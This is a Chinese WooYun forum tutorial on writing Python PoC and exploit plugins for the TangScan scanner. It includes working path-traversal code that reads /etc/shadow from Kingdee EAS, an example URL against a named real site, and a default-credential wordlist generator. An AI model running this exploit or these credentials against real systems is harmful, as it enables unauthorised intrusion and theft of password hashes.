TangScan新手插件编写指南(零基础也可以写插件)

  • A+
所属分类:WooYun-Zone

RedFree (‮11:11 11-11-1112 |※(器杀制自) TangScan新手插件编写指南(零基础也可以写插件) | 2015-07-10 13:02

0x00 从哪里开始
    TangScan首页:http://www.tangscan.com/ 官方已经提供了详尽文档说明:
TangScan新手插件编写指南(零基础也可以写插件)
TangScan新手插件编写指南(零基础也可以写插件)
    如果您之前使用Python写过代码,那后面的内容基本上您也不用看了,可绕道。如果你是一名新手,以前没有/很少使用Python去写代码,那么就跟我一起来体验下TangScan的插件编写之旅吧!

Step1:配置开发环境
    Python的开发环境配置您可以参考:http://zone.wooyun.org/content/19480 当然对于TangScan插件的编写来说,pyqt并不是必须的。如果您觉得Eric并不满意,您可以选择使用其它的Python IDE来完成插件的编写工作。

Step2:导入插件包
    GitHub地址:https://github.com/wooyun/TangScan 也可以直接下载:https://github.com/WooYun/TangScan/archive/master.zip
    下载完成后解压到任意目录:
TangScan新手插件编写指南(零基础也可以写插件)
    打开Eric》项目》新建:输入项目名称、选择项目文件夹为刚才解压的TangScan目录,提示是否将已有文件添加到项目中(是):
TangScan新手插件编写指南(零基础也可以写插件)
    双击poc_example.py,可以看到,插件包中已经提供了一个模板,模板大致分为三块:数据定义、verify函数、exploit函数。

0x01 Hello World
    写代码时请注意下面这个细节!参见:http://tangscan.readthedocs.org/zh_CN/latest/poc/tutorial.html#poc
TangScan新手插件编写指南(零基础也可以写插件)
TangScan新手插件编写指南(零基础也可以写插件)
    其它部分不动,在verify中写自己的代码;F2运行,为什么没有打印出Hello World!呢?
TangScan新手插件编写指南(零基础也可以写插件)
    可以看到,虽然没有打印出Hello World!,但是同时给出了一些提示:要输入某些参数。这些参数是在上面的数据定义部分定义的:
TangScan新手插件编写指南(零基础也可以写插件)
    参见TangScan的说明文档:http://tangscan.readthedocs.org/zh_CN/latest/poc/tutorial.html#id9 最终打印出Hello World!。
TangScan新手插件编写指南(零基础也可以写插件)
    --debug参数用于显示调试信息,插件包内置的一个打印调试信息的函数self.print_debug()。
TangScan新手插件编写指南(零基础也可以写插件)

0x02 写出自己的POC
    至目前为止,经过上面的学习,您已经可以打印Hello World!了。万事开头难,只要迈出了这一步,后面的学习就可以非常得心应手了。
    拿乌云上的[link href="WooYun: 金蝶EAS任意文件读取"]WooYun: 金蝶EAS任意文件读取[/link]这个例子来说吧;要验证某个站点是不是存在这样一个漏洞,首先最其本的条件就是我们要去请求并获得响应结果。Python内置的模块urllib、urllib2或者是httplib模块都可以满足要求。但是为了提高工作效率我没有选择使用这几个模块,我使用了一个强大的第三方模块:requests。如果你觉得安装一些第三方模块比较麻烦,请不用担心;TangScan的插件包中已经内置了一些第三方的模块,requests是可以直接使用的,使用from thirdparty import requests可以直接导入requests模块。
TangScan新手插件编写指南(零基础也可以写插件)
    有关requests模块的使用方法请移步这里(下面我会举几个常用的例子):http://requests-docs-cn.readthedocs.org/zh_CN/latest/index.html  如果你觉得http://requests-docs-cn.readthedocs.org/zh_CN/latest/index.html这个里面的内容太多,短时间消化不了,没有关系,这个文档里的东西比较基础:链接: http://pan.baidu.com/s/1eQyFrxw 密码: uh4y
    针对[link href="WooYun: 金蝶EAS任意文件读取"]WooYun: 金蝶EAS任意文件读取[/link]我找到了一个实际案例:http://fjhw.com.cn/portal/logoImgServlet?language=ch&dataCenter=&insId=insId&type=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fshadow%00
TangScan新手插件编写指南(零基础也可以写插件)
    代码可以这样写(verify注意事项!以下代码只是为了举例,实际写verify中代码的时候请不要带有攻击性!):
TangScan新手插件编写指南(零基础也可以写插件)
def verify(self):
        exp_url = ("{domain}/portal/logoImgServlet?language=ch&dataCenter=&insId=insId&type=..%2F..%2F..%2F..%2F\
..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fshadow%00".format(domain=self.option.url))
        try:
            response = requests.get(exp_url, timeout=15, verify=False)
            code = response.status_code
            if code == 200 and (response.text.find('root:$') != -1):
                self.print_debug('存在任意文件读取漏洞!')
        except Exception, e:
            self.result.error = str(e)
            return

TangScan新手插件编写指南(零基础也可以写插件)
    try...except可以帮我们获取到异常信息。一些信息定义的方法可以参见这里:http://tangscan.readthedocs.org/zh_CN/latest/poc/detail.html#info  http://tangscan.readthedocs.org/zh_CN/latest/poc/detail.html#register-option  http://tangscan.readthedocs.org/zh_CN/latest/poc/detail.html#register-result
    使用下面的代码,可以按照TangScan的格式来输出检测信息:
TangScan新手插件编写指南(零基础也可以写插件)
TangScan新手插件编写指南(零基础也可以写插件)
def verify(self):
        mark = 0
        exp_url = ("{domain}/portal/logoImgServlet?language=ch&dataCenter=&insId=insId&type=..%2F..%2F..%2F..%2F\
..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fshadow%00".format(domain=self.option.url))
        try:
            response = requests.get(exp_url, timeout=15, verify=False)
            code = response.status_code
            if code == 200 and (response.text.find('root:$') != -1):
                mark = 1
        except Exception, e:
            self.result.error = str(e)
            return
    
        if mark == 0:
            self.result.status = False
            return
    
        self.result.status = True
        self.result.data.messege.content = '存在任意文件读取漏洞!'
        self.result.description = "目标 {url} {content}".format(
            url=self.option.url,
            content=self.result.data.messege.content
        )

    当然你可以把代码写的更简洁一些。至此,一个漏洞的检测流程就完成了,接下来您所需要做的工作就是完善漏洞信息的定义以及exploit的编写。
TangScan新手插件编写指南(零基础也可以写插件)
TangScan新手插件编写指南(零基础也可以写插件)

0x03 写出自己的Exploit
    简而言之,Exploit本身带有攻击意图,仅代码上来看的话,和Verify并没有太大的区别。将上面的例子改写为Exploit,可以这样做:
TangScan新手插件编写指南(零基础也可以写插件)
TangScan新手插件编写指南(零基础也可以写插件)
def exploit(self):
        mark = 0
        exp_url = ("{domain}/portal/logoImgServlet?language=ch&dataCenter=&insId=insId&type=..%2F..%2F..%2F..%2F\
..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fshadow%00".format(domain=self.option.url))
        try:
            response = requests.get(exp_url, timeout=15, verify=False)
            code = response.status_code
            if code == 200 and (response.text.find('root:$') != -1):
                mark = 1
                self.result.data.messege.content = response.content
        except Exception, e:
            self.result.error = str(e)
            return
    
        if mark == 0:
            self.result.status = False
            return
    
        self.result.status = True
        self.result.description = "攻击目标 {url} 获取到的信息:\n {content}".format(
            url=self.option.url,
            content=self.result.data.messege.content
        )

0x04 一些Tips
1、Md5加密 & Base64编解码
#! /usr/bin/env python
# -*- coding: utf-8 -*-

import md5
from base64 import b64encode,b64decode
print(md5.md5('123456').hexdigest())
print(b64encode('123456'))
print(b64decode('MTIzNDU2'))
TangScan新手插件编写指南(零基础也可以写插件)
2、字典生成
#! /usr/bin/env python
# -*- coding: utf-8 -*-
  
users = ['tomcat', 'admin', 'test']
passwds = ['tomcat', 'admin', 'administrator', 'system','123', '1234', '12345', '123456', 'test', 'qazwsx', 'qwert'\
            , 'qwert', 'qwerty', '12345678', '000000', '6666', '666666', '8888', '888888']
for user in users:
    for passwd in passwds:
        print(user + ':' + passwd)
TangScan新手插件编写指南(零基础也可以写插件)
3、字符串游戏
Python 字符串操作(string替换、删除、截取、复制、连接、比较、查找、包含、大小写转换、分割等)
http://www.cnblogs.com/huangcong/archive/2011/08/29/2158268.html
4、re模块的一些玩法介绍
Python之re模块 —— 正则表达式操作
http://www.cnblogs.com/PythonHome/archive/2011/11/19/2255459.html
python 详解re模块
http://blog.sina.com.cn/s/blog_a15aa56901017liq.html
5、更多好玩的东西等待你的挖掘中...

[b]0x05 必须要了解的插件编写技巧(想不通过审核都难)/b]
    一款好的插件,其具备的基本条件应有:
1、代码简洁、流程清晰
2、异常处理(比如超时、网络错误等不可预料的错误信息最好也应有所显示*^_^*)
3、适用范围广(比如上面那个任意文件读取的漏洞,假如权限不够,读不了shadow呢?你的POC会去读哪个文件作为漏洞是否存在的证明?)
4、信息完善(插件上面定义的信息一定要完善,漏洞名称、描述、案例等等信息都要如实填写)
5、经的住实战的考验(插件提交前最好找几个实际目标测试一下效果*^_^*)
6、尽量去写热门/通用漏洞的插件(因为涉及到收益的关系,一个通用漏洞的插件可以为你带来不菲的收益。所以,不要让别人抢先提交喽!)
.....

遇到问题可加群,TangScan插件交流群:474469225 集思广益,一块搞起。

分享到: